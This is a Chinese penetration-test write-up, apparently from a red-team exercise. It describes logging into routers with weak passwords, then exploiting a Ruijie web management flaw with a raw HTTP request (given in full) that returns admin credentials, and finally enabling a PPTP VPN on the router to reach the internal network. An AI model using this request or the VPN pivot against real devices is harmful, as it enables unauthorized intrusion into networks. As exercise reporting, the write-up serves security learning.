原文Bains发自FreeBuf
https://www.freebuf.com/articles/network/345064.html
弱口令yyds,这是这次攻防演练第二个惊喜,在扫目标的C段IP的时候发现五个网络设备,有三个路由器、一个web管理系统和一台VPN设备,看起来版本都比较旧就想着先去找找版本漏洞,试了试都没登陆进去,就抱着侥幸心理去试试弱口令,没想到这网络设备居然也有弱口令,进去了两个弱口令和一个web管理系统。
不过另外一个web管理系统的弱口令不是管理员权限,逛了半天没啥功能,这里就不截图了。我们知道网络设备一般都是会连接办公网的,像路由器这种都是有搭建vpn的功能的,有PPTP、IPsec和L2TP三种模式,本次我是使用PPTP搭建VPN进内网的。
因为web管理系统没有获取管理员权限,就想着能不能提升波权限,想起前段时间锐捷路由器的一个CNVD,尝试看看这个web管理系统存不存在这个CNVD漏洞。
构造数据包,返回账户密码
POST /WEB_VMS/LEVEL15/ HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Content-Type: text/plain;charset=UTF-8
Content-Length: 80
Origin: http:// xxx.xxx.xxx.xxx
Connection: close
Referer: http:// xxx.xxx.xxx.xxx /index.htm
Cookie: auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest; currentURL=
command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
返回账户名密码,利用admin账户登陆成功。
来到 VPN 应用这里开启 PPTP 服务(公网ip)并且添加一个 PPTP 账号
之后在自己的电脑上建立一个VPN,我的电脑是win11,win10以及以下版本可能会有些许差别。打开控制面板->网络和共享中心,设置新的连接和网络
连接到工作区
选择连接vpn,输入刚刚锐捷路由器的公网IP,下一步填入设置好的PPTP账户密码
然后去网络适配器,发现会多出一个VPN,右键点击属性
像图中这样设置
然后连接vpn,成功进入内网
这里需要注意一点,如果vpn连接上后自己的网络断了vpn属性里的在远程网络上使用默认网关选项不勾选就可以了,刚开始我的网就是老断,折腾了半天才整明白。
进内网那剩下的就是扫IP、横向等内网渗透的常规思路了,由于内网东西太多,图片全是码,这里就不再讲了,后续有机会再和大家分享分享内网渗透。
攻防演练中网络设备的权限得分比网站权限的高,就是因为拿到网络设备比较容易进内网。就像本次案例,利用路由器创建PPTP搭建虚拟专用网络进内网,可以说拿下网络设备的权限就等于进内网成功了一半。但是拿下网络设备的权限却没那么容易,这次是瞎猫碰到死耗子出现了弱口令,一般情况下大家可以去根据登陆面板或者源代码下去判断网络设备的版本,然后去漏洞库查询相应的版本漏洞进行渗透。